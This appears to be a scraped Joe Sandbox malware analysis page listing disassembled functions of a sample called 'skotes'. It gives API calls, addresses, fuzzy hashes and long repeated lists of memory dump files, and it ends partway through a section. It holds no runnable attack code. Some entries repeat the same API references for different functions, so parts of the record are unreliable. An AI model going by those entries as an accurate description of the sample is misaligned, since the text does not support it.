Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: b8572289925516c59473d306068eaab6e6aebb219c92114bc747fe3ae5879093
Instruction ID: 3f0194869cec0335687bf595489cf80d54d36995f915438eec1c51095d7cf716
Opcode Fuzzy Hash: b8572289925516c59473d306068eaab6e6aebb219c92114bc747fe3ae5879093
Instruction Fuzzy Hash: FD217C31744240EBFB18AB6CECC973CB726EBC1310F24422AE158C72D1DB7D69808752

Function 0078A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 016cca5616d66d1701ab494f0a51502d72c96fcdabe53c674763a1848c2fcd9e
Instruction ID: 726d13a64fa1280d48710fba14876dc9b095effcbeea0a5e36eef53362b7cf20
Opcode Fuzzy Hash: 016cca5616d66d1701ab494f0a51502d72c96fcdabe53c674763a1848c2fcd9e
Instruction Fuzzy Hash: 95212D717D9100EAFB2977A99C8A73DB7159F91300F240517E145D72D2DA7EA98083B3

Function 0078A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: ba9f2ad4d472af5466079914a8aa806c21ee2bc8c62337cee637bdaa0f9e542c
Instruction ID: b23608275fb275c8883999efdc638ab4f5912388bba90cf764e38aecd10e56a8
Opcode Fuzzy Hash: ba9f2ad4d472af5466079914a8aa806c21ee2bc8c62337cee637bdaa0f9e542c
Instruction Fuzzy Hash: 21217C31784200EBFB18AB68DC8976CB726EBD5310F20422AE508D76D1DB3E69808352

Function 007BD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,007BA813,00000001,00000364,00000006,000000FF,?,007BEE3F,?,00000004,00000000,?,?), ref: 007BD871

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: eb1ad95529a0eaecbc4e43656673cc1dcd73c29542d09df88981ef728d061fe0
Instruction ID: 6c8a2c4b5e7bd3ca1a6b207cadca37090325e5e375dfa8dcd093f8c4582437b1
Opcode Fuzzy Hash: eb1ad95529a0eaecbc4e43656673cc1dcd73c29542d09df88981ef728d061fe0
Instruction Fuzzy Hash: 11F02732601224A6EB312A769C09BDB3759DF857B2B188021FD08EB181FB3CEC0086E0

Non-executed Functions

Function 007BCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007BCC66

Strings

v{, xrefs: 007BCBE1

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v{
API String ID: 3213747228-1518592600
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 77ac5c4256ab6070df1f60937f3493894eb0182b6ea6c90476419967f83aec47
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: D7B10532A04686DFDB16CF28C885BEEBFE5EF55350F14816AE855EB242D6389D01CB60

Function 00782EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00782F5F
__Mtx_unlock.LIBCPMT ref: 00782FCC
__Cnd_broadcast.LIBCPMT ref: 00782FE3
__Mtx_unlock.LIBCPMT ref: 007830F5
__Mtx_unlock.LIBCPMT ref: 0078319B

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

